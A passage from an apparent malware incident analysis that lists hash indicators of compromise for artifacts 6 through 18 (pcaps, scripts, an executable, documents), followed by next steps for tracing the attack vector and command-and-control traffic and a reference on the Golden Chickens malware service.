  • ssdeep,1.1–blocksize: hash :hash,filename: 6144:wihNrKpHapQqjx2lDqSU4POcyH9MGwhOki3KctVw0gs6u:wOKHqjYDNU4SH9Mripw09,"artifact6.txt"

artifact7.pcap

  • sha256: 6b2da53f8bcae0cd99bdae18993bf8d485ac56be33d01af8f18022b9888eebd3
  • md5: 6c246bddcf8279985c0ff621868b07f3
  • sha1: 88c9d3b55854cda2fe5b5952fae26db2644dca8b
  • ssdeep,1.1–blocksize: hash :hash,filename: 12288:2zI+e5o+Au4rujoVjaltIdJvJU7MM9P9A5+PedFXArk1t:x5o+QaltIdqMilA5FdFXArk1t,"artifact7.pcap"

artifact8.js

  • sha256: ecd80124a34daf7d8a7a73ee412aabc977313888c8d70c2190b306ed28dc72f9
  • md5: 4484b020010c248f61c6993df1fbf6d2
  • sha1: 16b1e1af805cd458a34e41444f60d9f990e0f8fd
  • ssdeep,1.1–blocksize: hash :hash,filename: 192:AxkCo2BLKP/Nmx+MUnYNQxHY9sKshMK6Cjy+7Xedy9:K43DYyxnp,"artifact8.js"

artifact9.js

  • sha256: 4dbb4755cbe105673725055f090ff830f042e8809c1a708db5c044f93dbcb6b4
  • md5: d2b8a06a022b73a4ae8df75c244741af
  • sha1: a3ec062421391a0390519ee900c8bcc51bb8b6c4
  • ssdeep,1.1–blocksize: hash :hash,filename: 768:sCF8W9WTzbuUKNjtQEjqPZ1RnI1OX1VMD3EuNk8NzDDdKW3snk:rFD46SEuPRIYX1VMLRzDDdj,"artifact9.js"

artifact10.ocx

  • sha256: 229b5cc70f69beb555d787c626674946902307546f266ac7c97a17937f1e6510
  • md5: 0599b2e7b791f289ee0d06ff2377435a
  • sha1: c6e7d336d99d8db2ae58d11e0eec442bda41a3a4
  • ssdeep,1.1–blocksize: hash :hash,filename: 6144:a3ezgIOdR8wWGJIPRe7zrmoY4InbDArVUDsY:a3eUIOYwXIPAfrqb0a,"artifact10.ocx"

artifact11.doc

  • sha256: ce638eb65e8e8a54becb218f05ba0aadbaded36fc0152591dc3e62b080c46c85
  • md5: 535d83f131ba08c523512a18c9b310e6
  • sha1: e5eb26c81ded2c2e713df761ed6f001dec773a59
  • ssdeep,1.1–blocksize: hash :hash,filename: 192:wtR8NslLZEvA+6/6rrILd/Kf3HO8tWOkGr:wJ8iSUR/8dWKr,"artifact11.doc"

artifact12.pbk

  • sha256: a0c2b522a86e729467d27cf98bd3c9a5264ebc1e1d5113d2bf2040423578d66b
  • md5: 9f59df97ada61db10a74ea07b7263d5d
  • sha1: e47c5c731886eccdac8609529f5dc1ad400fc2cd
  • ssdeep,1.1–blocksize: hash :hash,filename: 48:2DrjkD9RG7A3yXpX6OdLXA0WwSJg+VyJutq1qGpfE2xuaHL:2HjkZRE7Z9LXynyQTgf5uaHL,"artifact12.pbk"

artifact13.exe

  • sha256: 35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7
  • md5: 3e9f31b4e2cd423c015d34d63047685e
  • sha1: 8b516e7be14172e49085c4234c9a53c6eb490a45
  • ssdeep,1.1–blocksize: hash :hash,filename: 384:DM/xa/pTv+bPHVvo+U14c9UVhFwlGttTZvxqzCp9pqX8D+c2CWDuhe1w5GJ:g/KTvqHJo+24c9UVFyC5yw2nu4J,"artifact13.exe"

artifact14.txt

  • sha256: 28141035e19e63f051f4634ba1b00074a272c6e7af73f736de76859d69e49e86
  • md5: 65aad2e12dec70ccb18e143a376ae305
  • sha1: ca4c23cb35dcd04d5ad0299fa3c845b06a955a64
  • ssdeep,1.1–blocksize: hash :hash,filename: 24:2lxoAp3FgqYwfyGTgRgYFJ9b/nqa9hA19GhY53hQ96YNoNYNQA9ViG53iGVc2n5l:2lpFN5OBmCqOu86KaKQsZ7SwFWGvkJU9,"artifact14.txt"

artifact15.txt

  • sha256: 31e6d6d746c53438670f2f2944320a94cbaf8f7df37a01a21fbd08c6c05ed48c
  • md5: e1c1d823aed43011eae867c089f92a05
  • sha1: 8e2d4f81b992a0514d1eda8bbde18777e2af5a11
  • ssdeep,1.1–blocksize: hash :hash,filename: 1536:q5AVrs7xXZt48AH1HJe21B046b53L4hvKXZ1iERA:VVrcptylLB7w5swriEi,"artifact15.txt"

artifact16.pcap

  • sha256: d74d33c2f619f110b4d6f7f9f0e024e8168fc0cf3903e6bf0628f88f048c53c0
  • md5: 11aace8e3115ba808b533026834f4e35
  • sha1: 78154bdaef7e35dcc6054b8a8d2bc94873d6152e
  • ssdeep,1.1–blocksize: hash :hash,filename: 6144:+PRNswLk/O/irAxZ7GADfj/OpcM9EVmVdcuRhqSi6gESoSVguk/8iEeBhMTB2mKr:+X2nrAXGOfjvM9EBuI6gIl/8iEbwufa,"artifact16.pcap"

artifact17.MPL.lz4

  • sha256: d9344bda500cd7cd94354387513ba9d83ee03ba558dca1926b09a3e2d734bbf3
  • md5: c6d2b0d965af657e5da6bc430bf611f2
  • sha1: a6cf16c9c61d4b4370f1b7862c62e40e6271c079
  • ssdeep,1.1–blocksize: hash :hash,filename: 393216:GyOowPrBaQAI4VTZykBMZT4hiZGYeNKbtr6u5qRp2tNQPbNb1teh7nxcRD:GyOowPBwZyk66AZGYeMtqRp4yR1cln0,"artifact17.MPL.lz4"

artifact18.saz

  • sha256: b6dd044686855035e864a67460915ad0e0d7cca5b67dfe22fe2125e65e121871
  • md5: 1915a328837a6fe5edba9d71ee309a87
  • sha1: 8eff22b35f0fd88ac3a36812c80f41eb6cc07eb4
  • ssdeep,1.1–blocksize: hash :hash,filename: 12288:sE9UBtovVaM/X8KGjJPQNIWZwBiWz2rD9JJdz:58GvVlXNSnWGiWz2tPdz,"artifact18.saz"

Next steps

  • Identification of the attack vector responsible for such a sephosticated attack
  • Looking for the C2 IP inside known TI feeds
  • Decryption of C2 comms and potentially unlocking next stages

References

Anyrun of the sample [Similar Attack techniques]https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/